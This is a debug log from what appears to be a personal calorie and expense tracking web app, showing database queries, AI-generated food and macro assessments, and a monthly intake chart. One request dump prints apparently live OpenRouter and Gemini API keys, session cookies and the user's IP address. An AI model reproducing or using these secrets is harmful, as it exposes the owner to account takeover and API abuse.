    bad_points: [
      'Limited variety in food consumed.',
      'Main meal (Poha) may not be sufficiently protein-dense for muscle development goals.',
      'Overall protein intake might be suboptimal without further meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Pre-workout supplement used to support training intensity.',
      'Reasonable meal timing around the workout.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources throughout the day, such as lean meats, fish, legumes, or paneer.',
      'Ensure the main meal includes a good portion of protein and complex carbohydrates.',
      'Consider adding fiber-rich vegetables to meals for better satiety and nutrient intake.',
      'Stay well-hydrated throughout the day.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Fairly good',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T08:46:11.798Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T08:46:11.798Z server-connect:app Executing action step select
2025-12-24T08:46:11.799Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T08:46:11.800Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  }
]
2025-12-24T08:46:11.800Z server-connect:app Executing action step setvalue
2025-12-24T08:46:11.801Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T08:46:11.801Z server-connect:output var_total: 812
2025-12-24T08:46:11.801Z server-connect:app Executing action step setvalue
2025-12-24T08:46:11.801Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T08:46:11.801Z server-connect:output var_consumed: 34
2025-12-24T08:46:11.801Z server-connect:app Executing action step setvalue
2025-12-24T08:46:11.801Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T08:46:11.801Z server-connect:output var_deficit: 1588
2025-12-24T08:46:11.801Z server-connect:app Executing action step custom
2025-12-24T08:46:11.801Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T08:46:11.802Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '812',
    surplus_or_deficit: '1588',
    status_flag: 2
  }
]
2025-12-24T08:46:11.802Z server-connect:app Executing action step single
2025-12-24T08:46:11.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T08:46:11.804Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T08:46:12.319Z server-connect:app Executing action step identify
2025-12-24T08:46:12.319Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:12.319Z server-connect:output identity: 1
2025-12-24T08:46:20.753Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T08:46:20.753Z server-connect:app Executing action step identify
2025-12-24T08:46:20.753Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:20.753Z server-connect:output identity: 1
2025-12-24T08:46:20.753Z server-connect:app Executing action step restrict
2025-12-24T08:46:20.753Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:20.754Z server-connect:output restrict: undefined
2025-12-24T08:46:20.754Z server-connect:app Executing action step processWithGemini
2025-12-24T08:46:20.754Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T08:46:22.475Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'White Guava',
      quantity: '1 big size (approx 200g)',
      calories_consumed: 136,
      total_calories: 136,
      protein: 5,
      carbs: 29.2,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: {
    protein: { value: 5, unit: 'g' },
    carbs: { value: 29.2, unit: 'g' },
    fat: { value: 1, unit: 'g' }
  }
}
2025-12-24T08:46:25.269Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T08:46:25.270Z server-connect:app Executing action step identify
2025-12-24T08:46:25.270Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:25.270Z server-connect:output identity: 1
2025-12-24T08:46:25.270Z server-connect:app Executing action step restrict
2025-12-24T08:46:25.270Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:25.271Z server-connect:output restrict: undefined
2025-12-24T08:46:25.271Z server-connect:app Executing action step condition
2025-12-24T08:46:25.271Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T08:46:25.271Z server-connect:app Executing action step repeat
2025-12-24T08:46:25.271Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T08:46:25.271Z server-connect:app Executing action step insert
2025-12-24T08:46:25.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T08:46:25.272Z server-connect:output calories: { affected: 1, identity: 507 }
2025-12-24T08:46:25.272Z server-connect:output repeat: [ {} ]
2025-12-24T08:46:25.272Z server-connect:output condition: undefined
2025-12-24T08:46:25.472Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T08:46:25.472Z server-connect:app Executing action step identify
2025-12-24T08:46:25.472Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:25.473Z server-connect:output identity: 1
2025-12-24T08:46:25.473Z server-connect:app Executing action step restrict
2025-12-24T08:46:25.473Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:46:25.473Z server-connect:output restrict: undefined
2025-12-24T08:46:25.473Z server-connect:router Render template layouts/main
2025-12-24T08:46:25.473Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T08:46:25.669Z server-connect:app Executing action step identify
2025-12-24T08:46:25.669Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:25.669Z server-connect:output identity: 1
2025-12-24T08:46:26.048Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T08:46:26.051Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T08:46:26.051Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T08:46:26.052Z server-connect:app Executing action step identify
2025-12-24T08:46:26.052Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.052Z server-connect:output identity: 1
2025-12-24T08:46:26.052Z server-connect:app Executing action step restrict
2025-12-24T08:46:26.052Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:26.052Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T08:46:26.052Z server-connect:output restrict: undefined
2025-12-24T08:46:26.053Z server-connect:app Executing action step select
2025-12-24T08:46:26.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T08:46:26.053Z server-connect:app Executing action step identify
2025-12-24T08:46:26.053Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.053Z server-connect:output identity: 1
2025-12-24T08:46:26.053Z server-connect:app Executing action step restrict
2025-12-24T08:46:26.053Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:26.054Z server-connect:app Executing action step identify
2025-12-24T08:46:26.054Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.054Z server-connect:output identity: 1
2025-12-24T08:46:26.054Z server-connect:app Executing action step restrict
2025-12-24T08:46:26.054Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:26.055Z server-connect:app Executing action step identify
2025-12-24T08:46:26.055Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.055Z server-connect:output identity: 1
2025-12-24T08:46:26.055Z server-connect:app Executing action step restrict
2025-12-24T08:46:26.055Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.055Z server-connect:output restrict: undefined
2025-12-24T08:46:26.055Z server-connect:app Executing action step single
2025-12-24T08:46:26.055Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T08:46:26.057Z server-connect:output restrict: undefined
2025-12-24T08:46:26.057Z server-connect:app Executing action step single
2025-12-24T08:46:26.058Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T08:46:26.059Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
